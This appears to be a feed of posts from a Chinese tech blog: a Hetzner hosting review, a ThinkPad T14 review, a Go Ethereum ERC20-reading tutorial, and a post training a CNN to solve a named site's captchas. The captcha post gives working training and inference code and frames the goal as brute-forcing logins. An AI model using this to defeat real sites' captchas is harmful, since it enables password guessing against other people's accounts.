[  5]   1.00-2.00   sec   114 MBytes   958 Mbits/sec                  
[  5]   2.00-3.00   sec   119 MBytes  1.00 Gbits/sec                  
[  5]   3.00-4.00   sec  67.5 MBytes   566 Mbits/sec                  
[  5]   4.00-5.00   sec  66.7 MBytes   559 Mbits/sec                  
[  5]   5.00-6.00   sec  68.2 MBytes   572 Mbits/sec                  
[  5]   6.00-7.00   sec  70.5 MBytes   591 Mbits/sec                  
[  5]   7.00-8.00   sec  73.2 MBytes   614 Mbits/sec                  
[  5]   8.00-9.00   sec  73.4 MBytes   616 Mbits/sec                  
[  5]   9.00-10.00  sec  59.8 MBytes   502 Mbits/sec                  
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.02  sec   812 MBytes   680 Mbits/sec  1099             sender
[  5]   0.00-10.00  sec   809 MBytes   678 Mbits/sec                  receiver

iperf Done.

有了这样的结构的话,我们可以将 App (或者 K8s 集群)分散在不同的 Region 下,然后使用内网互联。

什么时候深圳到香港的内网可以这么跑而且免费就好了

较为友好的价格

如果说简单的 Terraform 这种对于大多数「The developer cloud」都有的话,那么价格这块也是一个非常重要的因素,首先我们可以看看大家用的很多的 DigitalOcean 的价格。

然后对比一下 Hetzner 的价格:

可以看到 Hetzner 即使到了 16Core,32G 的配置,价格也控制在了不到 50EUR/mo,对应 DO 上类似配置的是 General Purpose Droplets 的 8vCPUs,32GB 已经到了 272USD/mo,且 Hetzner 给所有的机器都给了 20TB 的流量。

(注:Hetzner 也是按照小时计费的)

如此高的性价比,我的第一个尝试便是在之前的 ClickHouse 测试「ClickHouse 各版本在不同 CPU 架构上的性能差异对比」中大量使用 Hetzner 的机器作为 Self-Hosted Runner,发现特别香,之后便将自己的各种异构(非生产)应用全部丢到了 Hetzner 上。

缺点

Hetzner 也有对应的缺点,对于我们常规用户而言一般是如下:

  1. 注册风控很严,如果不填写真实的信息(且用真实 IP 之类)的话容易被直接「Account is closed」,不过一般来说在正常使用了一个月出了账单并成功付款后就比较稳了
  2. 到大陆地区延迟很大(毕竟欧洲服务商),不适合建站并直接解析上去用,不过特别适合起服务后通过 Cloudflare Argo Tunnel 来暴露
  3. 相比较各种「The developer cloud」而言,缺乏很多设施,比如 Managed SQL,Managed K8s 之类,他们提供的只有 VM,Network,Disk ,比较原始,对于一个典型的生产环境应用(Managed K8s + 各种 Managed DB/Redis)而言会有较大的运维成本。
  4. 有过些奇怪的故障,比如 https://news.ycombinator.com/item?id=31015840https://lowendtalk.com/discussion/178548/hetzner-data-loss-incident

总结

目前我已经将大部分自己的基础设施(包括但不限于 WebP Cloud ServiceMagLinkGitHub Runner 等)迁移到了 Hetzner 上,并且感觉在我的使用场景下使用体验不错,如果你也想试试看的话,欢迎点以下链接来注册: https://hetzner.cloud/?ref=6moYBzkpMb9s ,这样你可以在注册后直接得到 20EUR 的 Credit 用于玩耍。

]]>
给笔记本也加到 48G 内存——ThinkPad T14 Gen2 AMD 版本简评https://nova.moe/thinkpad-t14-gen2-amd-review/Sun, 12 Jun 2022 20:00:00 +0800https://nova.moe/thinkpad-t14-gen2-amd-review/

本文在 2023-02-06 更新了 Possible Hardware bug 章节

当我还在 PingCAP 工作的时候,我的主力电脑是从大学时候一直流传下来的 ThinkPad X1 Carbon Gen5 ,但是由于当时买的是最低配置的版本,内存只有 8G,从大学毕业开始就已经越来越不够用了,在浏览器开了很多标签页且还需要使用 VSCode 进行开发的时候经常 RAM 用满 SWAP 狂写。

在 2020 年疫情开始之后,在家工作的时间越来越多,借着这个机会自己组装了一台 16G 内存的台式机,开启了长期 Remote 工作的生活,此时 ThinkPad 仅仅作为在偶尔需要出门的时候带上用来回复消息并处理简单事务的“终端机”。

在后来由于各种各样的需求(比如编译 TiKV),16G 内存也偶尔出现了不够用的情况,于是又给电脑额外加入了两条 16G 内存,让台式机内存扩展到了 48G,至此,台式机已经成为了一个比较稳定的工作电脑,可以应付几乎所有的日常工作了,看着几乎永远也用不满的内存和再也不用打开的 SWAP,工作时开 20+ 个容器和 50+ 浏览器标签时候看着已经使用了接近 40G 的内存,内心非常满足。

但是出门该怎么办?

本着这个需求我还是需要一台靠谱的笔记本电脑满足出门的工作需求,对于我个人的使用习惯(Fedora + i3WM)的情况来看,我对于笔记本的需求大概如下:

  • 最好不要有独立显卡(考虑耗电量/重量和驱动兼容程度)
  • 屏幕和音箱素质完全不在意,倾向于 14 英寸的屏幕,但是由于不想折腾 DPI 的问题,所以最好是 1080P 的雾面屏
  • 续航时间尽可能长
  • 键盘手感需要足够好
  • 机器需要足够耐艹,不能进水就凉了
  • 如果性价比高就更好了

作为一个 ThinkPad 老用户,我的第一反应就是继续购买 ThinkPad X1 Carbon,但是看了一下 10Gen 的 X1 Carbon 国行最大也就 32G 内存并配置了一个 4K 的镜面屏幕,虽然 2W CNY 左右的价格对应这个配置来看性价比也没有差到离谱,但是一想到 32G 的板载内存 + 4K 镜面屏幕就让我对它失去了一切想法。

经过一番调研,发现只有 ThinkPad T14 AMD 版本符合这个要求,5699 CNY 的价格(16G RAM + 512G)加上 699 CNY 可以买到的单条 32G DDR4 3200Mhz 的内存,只要 6398 CNY,即可获得一个和 ThinkPad X1 Carbon 差不多的 CPU + 更大的内存,而重量只比 X1 Carbon 重了 300g。

购买方式为京东,链接分别为: https://item.jd.com/100028177970.htmlhttps://item.jd.com/100007630859.html ,如果价格不是上述价格说明他们又开始耍猴了。

ThinkPad T14(左) 和 ThinkPad X1 Carbon(右) 对比(图片拍摄者:@tukideng

基本信息

             .',;::::;,'.                Nova@Think 
         .';:cccccccccccc:;,.            ---------- 
      .;cccccccccccccccccccccc;.         OS: Fedora 3x (Workstation Edition) x86_64 
    .:cccccccccccccccccccccccccc:.       Host: 20XKA001CD ThinkPad T14 Gen 2a 
  .;ccccccccccccc;.:dddl:.;ccccccc;.     Kernel: 5.17.8-100.fc3x.x86_64 
 .:ccccccccccccc;OWMKOOXMWd;ccccccc:.    Uptime: 23 days, 3 hours, 35 mins 
.:ccccccccccccc;KMMc;cc;xMMc:ccccccc:.   Packages: 6728 (rpm) 
,cccccccccccccc;MMM.;cc;;WW::cccccccc,   Shell: zsh 5.8.1 
:cccccccccccccc;MMM.;cccccccccccccccc:   Resolution: 2560x1440 
:ccccccc;oxOOOo;MMM0OOk.;cccccccccccc:   WM: i3 
cccccc:0MMKxdd:;MMMkddc.;cccccccccccc;   Theme: deepin [GTK3] 
ccccc:XM0';cccc;MMM.;cccccccccccccccc'   Icons: deepin [GTK3] 
ccccc;MMo;ccccc;MMW.;ccccccccccccccc;    Terminal: gnome-terminal 
ccccc;0MNc.ccc.xMMd:ccccccccccccccc;     CPU: AMD Ryzen 7 PRO 5850U with Radeon Graphics (16) @ 1.900GHz 
cccccc;dNMWXXXWM0::cccccccccccccc:,      GPU: AMD ATI 06:00.0 Cezanne 
cccccccc;.:odl:.;cccccccccccccc:,.       Memory: 22779MiB / 47058MiB 
:cccccccccccccccccccccccccccc:'.
.:cccccccccccccccccccccc:;,..                                    
  '::cccccccccccccc::;,.

cpuinfo:

Architecture:                    x86_64
CPU op-mode(s):                  32-bit, 64-bit
Byte Order:                      Little Endian
Address sizes:                   48 bits physical, 48 bits virtual
CPU(s):                          16
On-line CPU(s) list:             0-15
Thread(s) per core:              2
Core(s) per socket:              8
Socket(s):                       1
NUMA node(s):                    1
Vendor ID:                       AuthenticAMD
CPU family:                      25
Model:                           80
Model name:                      AMD Ryzen 7 PRO 5850U with Radeon Graphics
Stepping:                        0
Frequency boost:                 enabled
CPU MHz:                         1600.000
CPU max MHz:                     4505.0781
CPU min MHz:                     1600.0000
BogoMIPS:                        3793.17
Virtualization:                  AMD-V
L1d cache:                       256 KiB
L1i cache:                       256 KiB
L2 cache:                        4 MiB
L3 cache:                        16 MiB
NUMA node0 CPU(s):               0-15
Vulnerability Itlb multihit:     Not affected
Vulnerability L1tf:              Not affected
Vulnerability Mds:               Not affected
Vulnerability Meltdown:          Not affected
Vulnerability Spec store bypass: Mitigation; Speculative Store Bypass disabled via prctl
Vulnerability Spectre v1:        Mitigation; usercopy/swapgs barriers and __user pointer sanitization
Vulnerability Spectre v2:        Mitigation; Retpolines, IBPB conditional, IBRS_FW, STIBP always-on, RSB filling
Vulnerability Srbds:             Not affected
Vulnerability Tsx async abort:   Not affected
Flags:                           fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl nonstop_tsc cpuid extd_apicid aperfmperf rapl pni pclmulqdq monitor ssse3 fma cx16 sse4_1 sse4_2 movbe popcnt aes
                                  xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt tce topoext perfctr_core perfctr_nb bpext perfctr_llc mwaitx cpb cat_l3 cdp_l3 hw_pstate ssbd mba ibrs ibpb stibp vmmcall fsgsbase bmi1 avx2 smep bmi2 erms invpcid c
                                 qm rdt_a rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 xsaves cqm_llc cqm_occup_llc cqm_mbm_total cqm_mbm_local clzero irperf xsaveerptr rdpru wbnoinvd cppc arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold avic v_v
                                 msave_vmload vgif v_spec_ctrl umip pku ospke vaes vpclmulqdq rdpid overflow_recov succor smca fsrm

网卡信息:

02:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 0e)
03:00.0 Network controller: MEDIATEK Corp. MT7921 802.11ax PCI Express Wireless Network Adapter
04:00.0 Unassigned class [ff00]: Realtek Semiconductor Co., Ltd. RTS522A PCI Express Card Reader (rev 01)
05:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 15)

ThinkPad T14(右) 和 ThinkPad X1 Carbon(左) 对比(图片拍摄者:@tukideng

续航时间

对于续航而言,在日常工作的时候(两个浏览器总共开 40+ 个标签,一个 VSCode ,10+ 个容器(包括 MySQL 和 Go 应用)),此时内存使用量在 30G ~ 40G 之间,Load Average 0.9 ~ 3.0 之间浮动,i3WM 显示满电续航大约为 6 小时,在这一点上似乎甚至有点不如已经使用多年的 X1 Carbon。

发现如果在 Linux 上需要切换不同电源模式的话可以用类似如下指令:

echo powersave | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor
echo performance | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor

驱动 && BIOS

对于 Fedora 而言,没有遇到任何驱动问题,直接安装即可,如果需要用 brightlight 调节屏幕亮度的话需要手动指定一下亮度文件,指令类似如下:

brightlight -d 20 -f /sys/class/backlight/amdgpu_bl0

买回来的时候 BIOS 版本比较老,可以直接从联想官网 https://think.lenovo.com.cn/support/driver/driverdetail.aspx?DEditid=94134&docTypeID=DOC_TYPE_DRIVER&driverID=undefined&treeid=PF3FQAQJ&args=%3Fcategoryid%3DPF3FQAQJ%26CODEName%3DThinkPad%2520T14%2520AMD%2520Gen%25202%26SearchType%3D%25201%26wherePage%3D%25202 上找到 「光盘版」驱动用 gnome-disks 写到 U 盘上并通过从 U 盘启动的方式进行安装。

这里有一点比较奇怪,可能是由于散热的问题,在上述负载下,通过 glances 看到 CPU 温度在 55C 左右,风扇依然会以一个比较低的转速常年开启(虽然噪音相比较 X1C 小很多)。

Possible Hardware bug

这个部分是在 2023-02-06 更新的

在使用过程中遇到了如下问题:

笔记本常年不会手动关机,现在遇到的问题是它会在半夜偶发自动关机(可能没有关机,各个电源灯都是亮的,但是外接显示屏显示绿色,笔记本显示屏显示纯黑色,键盘鼠标没有任何响应)的问题,遇到这种问题一般只能长按电源硬关机

笔记本温度监控图,中线那些直线就是监控丢了之后直到第二天起床重新后监控恢复之后直接两边数据点连接了拉出来的,监控上显示关机前(或者至少最后看到有监控上传数据的时间)没有任何 CPU/RAM/温度 异常,所以应该也不是过热保护的问题

BIOS 版本是最新的(1.21),且在 BIOS 中 Sleep State 选的是 Linux ,并关闭了 CPU Power Management (最早 Sleep State 是 Windows 10 ,且 CPU Power Management 是 Enabled ,当时怀疑是这两个原因导致,关闭后发现问题还是存在

前段时间测过把这个硬盘丢 AMD CPU 的台式机上跑,然后找个 Windows 的硬盘放在笔记本上,两边持续开机 10+ 天都没有出现类似的问题。

journalctl -xe -b -1 看关机附近也没看到异常的日志,目前怀疑是 AMD CPU 的 firmware 上有什么 Bug 或者之类的情况,暂时这个问题没有得到解决。

键盘/硬件手感

电脑买来的第一时间我就把它拆开加装了内存并换上了原有的 NVMe SSD,从拆的手感而言,D 面硬度不如 ThinkPad X1 Carbon,有种塑料的感觉,而且自带的 SSD 螺丝非常的紧,直接干废了我的一个螺丝刀…

键盘不是类似 X1 Carbon 那样的光滑平面了,而是一个比较粗糙的平面,按压手感相比较 X1 Carbon 有所下降,但是好在下降不多。

屏幕素质和音响一如既往的一般,不应该对他们有什么期待,此外这台电脑自带 RJ45 接口,对于我这种在家所有能接网线的设备都要接网线的人来说是一大福利(再也不用什么 RJ45 -> Type-C 转接了),这点好评。

别的方面中规中矩,就是一个标准的 ThinkPad 的感觉,网上也找不到针对这台电脑的 Torture Test 所以至于浇水上去会不会直接挂掉也有点难说,不过不考虑这些点的话,似乎性价比不错了。

简评以上,如果之后有想到什么别的我会继续更新这篇文章的。

]]>
用 Go Ethereum 在链上直接读取 ERC20 智能合约信息https://nova.moe/read-smart-contract-info-from-chain/Sat, 11 Jun 2022 11:00:00 +0800https://nova.moe/read-smart-contract-info-from-chain/

我也不知道这个有什么用,只是感觉做起来比较好玩。

在看 Görli Testnet 的 Etherscan 的时候,比如这个链接: https://goerli.etherscan.io/token/0x3ffc03f05d1869f493c7dbf913e636c6280e0ff9#readContract ,可以直接看到一个合约的一些基本信息,比如 Decimals,Max Total Supply 之类的

于是好奇有没有什么合理的办法直接从链上读到这些数据(而不是基于别人的 API 套娃整一个新的 API 出来)。

Why

其实网上有一些类似的文章(可以参考本文底部的 References),但是有一些问题,比如大家的文章的 solidity 都是一个非常上古的版本:

pragma solidity ^0.4.24;

而且文章中要查询 ERC20 的合约都是自己写了一个 interface,但是后来我发现对于这种 Public Interface 完全可以使用 OpenZeppelin 写好的, 比如 ERC20 的在 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol 这里。

Get Started

为了解决这个问题,我们需要以下工具:

  1. 一个 Eth 的节点(或者一个 Ethereum Gateway 也可以,比如 Infura 或者 Cloudflare 的免费服务)
  2. Go Ethernum 包(包含 abigen 啥的)
  3. Solidity compiler(比如 solc-js 或者 solc)
  4. nodejs (这个我相信大家电脑上都有,如果没有的话可以去 nodesource 整一个)

Prepare Env

Eth Node

对于 Eth 节点我们直接用公共服务就好,或者如果实在想自建一个的话可以直接用下方 docker-compose.yml 快速启动一个:

version: "3"
services:
  geth:
    image: ethereum/client-go:latest
    restart: unless-stopped
    ports:
      - 30303:30303
      - 30303:30303/udp
      - 127.0.0.1:8545:8545
      - 127.0.0.1:8546:8546
      - 127.0.0.1:8551:8551
    volumes:
      - ./data:/root/.ethereum
    healthcheck:
      test: [ "CMD-SHELL", "geth attach --exec eth.blockNumber" ]
      interval: 10s
      timeout: 5s
      retries: 5
    command:
      - --http
      - --goerli
      - --cache=8192
      - --http.api=eth,net,web3,engine,admin
      - --http.addr=0.0.0.0
      - --http.vhosts=*
      - --http.corsdomain=*
      - --maxpeers=200
      - --ws
      - --ws.origins=*
      - --ws.addr=0.0.0.0
      - --ws.api=eth,net,web3
      - --graphql
      - --graphql.corsdomain=*
      - --graphql.vhosts=*
      - --authrpc.addr=0.0.0.0
      - --authrpc.jwtsecret=/root/.ethereum/jwt.hex
      - --authrpc.vhosts=*
      - --authrpc.port=8551
      - --txlookuplimit=0

  prysm:
    image: gcr.io/prysmaticlabs/prysm/beacon-chain
    pull_policy: always
    container_name: beacon
    restart: unless-stopped
    stop_grace_period: 2m
    volumes:
      - ./prysm_data:/data
      - ./data:/geth
    depends_on:
      geth:
        condition: service_healthy
    ports:
      - 127.0.0.1:4000:4000
      - 127.0.0.1:3500:3500
    command:
      - --accept-terms-of-use
      - --datadir=/data
      - --disable-monitoring
      - --rpc-host=0.0.0.0
      - --execution-endpoint=http://geth:8551
      - --jwt-secret=/geth/jwt.hex
      - --rpc-host=0.0.0.0
      - --rpc-port=4000
      - --grpc-gateway-corsdomain=*
      - --grpc-gateway-host=0.0.0.0
      - --grpc-gateway-port=3500

Go Ethernum

在我所用的系统上似乎没有合适的包,既然都是一堆 Binary,不如直接下载然后解压到 /usr/bin 下:

wget https://gethstore.blob.core.windows.net/builds/geth-alltools-linux-amd64-1.10.18-de23cf91.tar.gz
tar -xvf geth-alltools-linux-amd64-1.10.18-de23cf91.tar.gz
cd geth-alltools-linux-amd64-1.10.18-de23cf91
sudo mv abigen /usr/bin/
sudo mv geth /usr/bin

Solc

这里一开始我跟着某个教程 npm install solc -g,然后发现…

The commandline options of solcjs are not compatible with solc and tools (such as geth) expecting the behaviour of solc will not work with solcjs.

让我非常冒火,于是本着能找 Binary 就不要给自己找事情的原则,去找了 Binary 然后解压到 /usr/bin 下:

wget https://github.com/ethereum/solidity/releases/download/v0.8.14/solc-static-linux
chmod +x solc-static-linux
mv solc-static-linux /usr/bin/solc

Gen ABI

由于我们打算用 Go 来写一整套东西,所以需要用 Go Ethernum 来读取,而要让 Go Ethernum 能读取合约相关的信息,需要对应的 ABI,大概流程类似如下:

Solidity(ERC20.sol) –(solc)–> ABI(ERC20.abi) –(abigen)–> Go Package(erc20.go)

这里 ERC20.sol 我们就不像网上一些文章一样手搓了,而是直接使用 OpenZeppelin 提供的,关于 OpenZeppelin 的一点介绍如下:

A library for secure smart contract development. Build on a solid foundation of community-vetted code.

https://docs.openzeppelin.com/contracts/4.x/

要使用他们已经写好的合约信息,找一个空白目录,然后直接 npm install @openzeppelin/contracts 即可在本地 node_modules 下拿到 OpenZeppelin 的所有合约,然后我们在 node_modules/@openzeppelin/contracts/token/ERC20 下可以看到我们想要的 ERC20.sol 文件,这个时候我们构建 abi

solc --abi /path/to/node_modules/@openzeppelin/contracts/token/ERC20/ERC20.sol --base-path /path/to/node_modules --output-dir /path/to/

这时你可以在当前目录下找到一个 ERC20.abi 文件,然后我们用 abigen 拿到对应的 erc20.go

abigen --abi=ERC20.abi --pkg=token --out=erc20.go

Read Contract

有了上面拿到的 erc20.go 文件之后,我们在同目录下搞个 read.go 用来驱动,可以这么写:

package main

import (
	"fmt"
	"log"

	"github.com/ethereum/go-ethereum/accounts/abi/bind"
	"github.com/ethereum/go-ethereum/common"
	"github.com/ethereum/go-ethereum/ethclient"
)

func main() {
	client, err := ethclient.Dial("https://goerli.knat.network")
	if err != nil {
		log.Fatal(err)
	}
	contract_address := common.HexToAddress("0x3ffc03f05d1869f493c7dbf913e636c6280e0ff9")

	// use erc20.go to init instance
	contract, err := NewToken(contract_address, client)
	decimals, err := contract.Decimals(nil)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println("decimals:", decimals)
	symbol, err := contract.Symbol(&bind.CallOpts{})
	if err != nil {
		log.Fatal(err)
	}

	fmt.Println("symbol:", symbol) 
	total_supply, err := contract.TotalSupply(nil)
	if err != nil {
		log.Fatal(err)
	}
	fmt.Println("total_supply:", total_supply)
}

然后就可以拿到我们要的信息了~

go run .
decimals: 18
symbol: TEST
total_supply: 1000000000000000000000000000000001300115100103598665898811424167730937505693

🤔 接下来就是找个 DB 写爆咯?

References

  1. 查询ERC20代币智能合约
  2. 智能合约 - 查询ERC20代币智能合约 - 《用Go来做以太坊开发》 - 书栈网 · BookStack
  3. ERC20 代币作为 Hyperledger Fabric Golang 链码
]]>
使用卷积神经网络训练模型来自动识别验证码——在 YYeTs 的实践https://nova.moe/automated-captcha-recognize-with-cnn/Sat, 21 May 2022 05:21:00 +0800https://nova.moe/automated-captcha-recognize-with-cnn/BennyThink 大佬做了一个很炫的网站,叫做「人人影视分享站」,但是发现登录的时候要验证码,那我如果忘记密码了的话怎么一瞬间登录 100 次来尝试我的各种密码组合呢?

验证码保存下来是一个 160px * 60px 的图片,为了了解这个验证码是怎么生成的,我们可以直接参考这个网站的代码,在 https://github.com/tgbot-collection/YYeTsBot/blob/master/yyetsweb/database.py 下有如下代码:

from captcha.image import ImageCaptcha

captcha_ex = 60 * 10
predefined_str = re.sub(r"[1l0oOI]", "", string.ascii_letters + string.digits)

class CaptchaResource:
    redis = Redis()

    def get_captcha(self, captcha_id):
        chars = "".join([random.choice(predefined_str) for _ in range(4)])
        image = ImageCaptcha()
        data = image.generate(chars)
        self.redis.r.set(captcha_id, chars, ex=captcha_ex)
        return f"data:image/png;base64,{base64.b64encode(data.getvalue()).decode('ascii')}"

其中 predefined_str 应该是 BennyThink 大佬精选的字符集(去除了 0oO 这类容易被混淆的字符),字符集内容如下,一共 56 个字符:

abcdefghijkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789

在需要的时候,这个函数生成一个验证码图片(的 base64 版本)和 ID 传到网页上,同时把 captcha_idchars(实际的验证码字符)放在 Redis 中,登录的时候直接从 Redis 中取验证码,利用 Redis 来自动过期,非常精妙。(比我自己写 PHP 的时候去折腾什么 https://github.com/mewebstudio/captcha,然后用 composer 搞半天,还得 override 函数来改 API Endpoint 不知道高端到哪儿去了。)

Train Network

在已经知道了验证码的生成方式之后,为了实现一瞬间登录 100 次的梦想,我们就得开始考虑如何自动识别验证码了,一般来说,有如下思路:

  1. 让 BennyThink 大佬为我的 IP 关闭验证码,显然不行
  2. 找自动接码平台,要花钱,而且速度不够快,肯定不行
  3. 自己训练模型来识别验证码,看上去可行,但是我完全 0 基础

最终,我们选择了方案 3,利用工作之余,从基础,到完全放弃 AI/ML。

在搜寻了一些资料后发现,主流的方法是使用 CNN(卷积神经网络),或者 RNN(循环神经网络)。

由于上面两个神经网络我完全不熟,这里就不展开了

一般来说,要训练一个模型,有以下典型步骤:

  1. 收集样本
  2. 清洗样本并分开训练集和测试集
  3. 训练模型
  4. 测试是否真的可以用来识别

我们一步步来看

收集样本

由于我们已经知道了验证码是怎么生成的了,所以这里我们并不需要去爆破人人影视分享站的验证码接口来获得验证码(而且这种方式还没法知道真正的验证码是啥),所以摆在我们面前的有两条路,要么预先生成一堆样本用于训练,要么用生成器来实时生成。

第一种方式的好处是训练的时候显卡利用率高,如果你需要经常调参,可以一次生成,多次使用;第二种方式的好处是你不需要生成大量数据,训练过程中可以利用 CPU 生成数据,而且还有一个好处是你可以无限生成数据。

批量生成样本

比如我们的验证码是 yTse,那么我们就生成一个 yTse.png 放在一个目录下,PoC 代码如下:

from captcha.image import ImageCaptcha
import string
import re
import random
import os

predefined_str = re.sub(r"[1l0oOI]", "", string.ascii_letters + string.digits)

for i in range(10000):
    chars = "".join([random.choice(predefined_str) for _ in range(4)])
    image = ImageCaptcha()
    data = image.generate(chars)
    img_path = "./generated/" + chars + ".png"
    image.write(chars, img_path)

使用生成器

这里直接参考了 ypwhs/captcha_break 的代码,不过由于我们的验证码尺寸的问题,做了一些调整:

from tensorflow.keras.utils import Sequence

width, height, n_len, n_class = 160, 60, 4, len(characters)

class CaptchaSequence(Sequence):
    def __init__(self, characters, batch_size, steps, n_len=4, width=160, height=60):
        self.characters = characters
        self.batch_size = batch_size
        self.steps = steps
        self.n_len = n_len
        self.width = width
        self.height = height
        self.n_class = len(characters)
        self.generator = ImageCaptcha(width=width, height=height)
    
    def __len__(self):
        return self.steps

    def __getitem__(self, idx):
        X = np.zeros((self.batch_size, self.height, self.width, 3), dtype=np.float32)
        y = [np.zeros((self.batch_size, self.n_class), dtype=np.uint8) for i in range(self.n_len)]
        for i in range(self.batch_size):
            random_str = ''.join([random.choice(self.characters) for j in range(self.n_len)])
            X[i] = np.array(self.generator.generate_image(random_str)) / 255.0
            for j, ch in enumerate(random_str):
                y[j][i, :] = 0
                y[j][i, self.characters.find(ch)] = 1
        return X, y

来测试一下这个生成器是否好用:

好用的,由于可以直接使用生成器批量生成验证码,这里直接放弃第一种预先生成的方案。

清洗样本并分开训练集和测试集

由于有了生成器,所以训练集和测试集就很好区分了,并不需要传统的 train_test_split 方法,只要:

train_data = CaptchaSequence(characters, batch_size=160, steps=1000)
valid_data = CaptchaSequence(characters, batch_size=160, steps=100)

即可。

训练模型

由于我对神经网络完全不熟,这里继续参考 ypwhs/captcha_break 的代码和描述,不过由于我们的字符集是 56 位的,所以做了一些调整:

模型结构很简单,特征提取部分使用的是两个卷积,一个池化的结构,这个结构是学的 VGG16 的结构。我们重复五个 block,然后我们将它 Flatten,连接四个分类器,每个分类器是36个神经元,输出36个字符的概率。

from tensorflow.keras.models import *
from tensorflow.keras.layers import *
from tensorflow.keras.callbacks import EarlyStopping, CSVLogger, ModelCheckpoint
from tensorflow.keras.optimizers import *

input_tensor = Input((height, width, 3))
x = input_tensor
for i, n_cnn in enumerate([2, 2, 2, 2, 2]):
    for j in range(n_cnn):
        x = Conv2D(32*2**min(i, 3), kernel_size=3, padding='same', kernel_initializer='he_uniform')(x)
        x = BatchNormalization()(x)
        x = Activation('relu')(x)
    x = MaxPooling2D(2)(x)

x = Flatten()(x)
x = [Dense(n_class, activation='softmax', name='c%d'%(i+1))(x) for i in range(n_len)]
model = Model(inputs=input_tensor, outputs=x)

callbacks = [EarlyStopping(patience=3), CSVLogger('cnn.csv'), ModelCheckpoint('cnn_best.h5', save_best_only=True)]

model.compile(loss='categorical_crossentropy',
              optimizer=Adam(1e-3, amsgrad=True), 
              metrics=['accuracy'])
model.fit_generator(train_data, epochs=100, validation_data=valid_data, workers=4, use_multiprocessing=True,
                    callbacks=callbacks)

model.fit_generator 之后,机器就会开始自动调参了,由于设置了 EarlyStopping(patience=3),所以这里 epoch 并不会到达 100,而会在 loss 超过了 3 个 epoch 没有下降后自动停止,为了加快速度,可以使用 GPU,但是…

我没有钱,仅存的 GPU 是一个用来玩网页游戏的亮机卡

再次印证了 「ClickHouse 各版本在不同 CPU 架构上的性能差异对比」一文中的说法:「没有钱,就没法做科研」

思来想去,最终决定整个 Telsa:

当然,不是这个 Tesla,而是…

Sun May 21 03:32:58 2022       
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 460.32.03    Driver Version: 460.32.03    CUDA Version: 11.2     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                               |                      |               MIG M. |
|===============================+======================+======================|
|   0  Tesla T4            Off  | 00000000:00:04.0 Off |                    0 |
| N/A   55C    P0    28W /  70W |   6036MiB / 15109MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
                                                                               
+-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
+-----------------------------------------------------------------------------+

现在东西都准备齐了,是时候被机器学习了。

每个 Epoch 大约 10 分钟(对比 AMD Ryzen R5 3x00 每个 Epoch 大约需要 50 分钟)

这个时候你只有坐着等的份,和炼丹一样

很快,我们就有了一个比较不错的模型 cnn_best.h5

1000/1000 [==============================] - 536s 534ms/step - loss: 0.1164 - c1_loss: 0.0238 - c2_loss: 0.0320 - c3_loss: 0.0349 - c4_loss: 0.0256 - c1_accuracy: 0.9913 - c2_accuracy: 0.9887 - c3_accuracy: 0.9879 - c4_accuracy: 0.9907 - val_loss: 0.2460 - val_c1_loss: 0.0325 - val_c2_loss: 0.0650 - val_c3_loss: 0.0963 - val_c4_loss: 0.0521 - val_c1_accuracy: 0.9895 - val_c2_accuracy: 0.9793 - val_c3_accuracy: 0.9711 - val_c4_accuracy: 0.9843

验证模型

在我们有了模型之后,我们就需要下载回来进行验证了,这次我们直接使用真实验证码来测试,比如我们可以从BennyThink 大佬的「人人影视分享站」上下载一个,然后本地载入模型后进行验证:

from PIL import Image
from tensorflow.keras.models import *
from tensorflow.keras.layers import *

characters = re.sub(r"[1l0oOI]", "", string.ascii_letters + string.digits)
width, height, n_len, n_class = 160, 60, 4, len(characters)

input_tensor = Input((60, 160, 3))
x = input_tensor
for i, n_cnn in enumerate([2, 2, 2, 2, 2]):
    for j in range(n_cnn):
        x = Conv2D(32*2**min(i, 3), kernel_size=3, padding='same', kernel_initializer='he_uniform')(x)
        x = BatchNormalization()(x)
        x = Activation('relu')(x)
    x = MaxPooling2D(2)(x)

x = Flatten()(x)
x = [Dense(n_class, activation='softmax', name='c%d'%(i+1))(x) for i in range(n_len)]
model = Model(inputs=input_tensor, outputs=x)

model.load_weights('cnn_best.h5')
# Read index.png to local_data
local_data = np.array(Image.open('index.png')) / 255.0
plt.imshow(local_data)

def decode(y):
    y = np.argmax(np.array(y), axis=2)[:,0]
    return ''.join([characters[x] for x in y])

y_pred = model.predict(local_data.reshape(1, *local_data.shape))
print("Predicted: " + decode(y_pred))

我们用文章开头的例子看看效果?

现在脚本只要稍加改装,就可以实现文章开头提到的一瞬间登录 100 次的梦想了。

后记

由于我不怎么会写代码加上对神经网络部分一窍不通,这里面踩了好多坑。

比如一开始尝试使用类似 MNIST 的方式,魔改 Captcha 的代码,让他只生成单个(无干扰线的)字符的图片用于单独训练,后来发现这样的训练效果很好,但是实际用来识别的时候识别率非常非常低。

然后尝试使用 k 邻域降噪 + OpenCV 二值化的方式给完整验证码降噪,发现效果也很一般(可能我水平不行)。


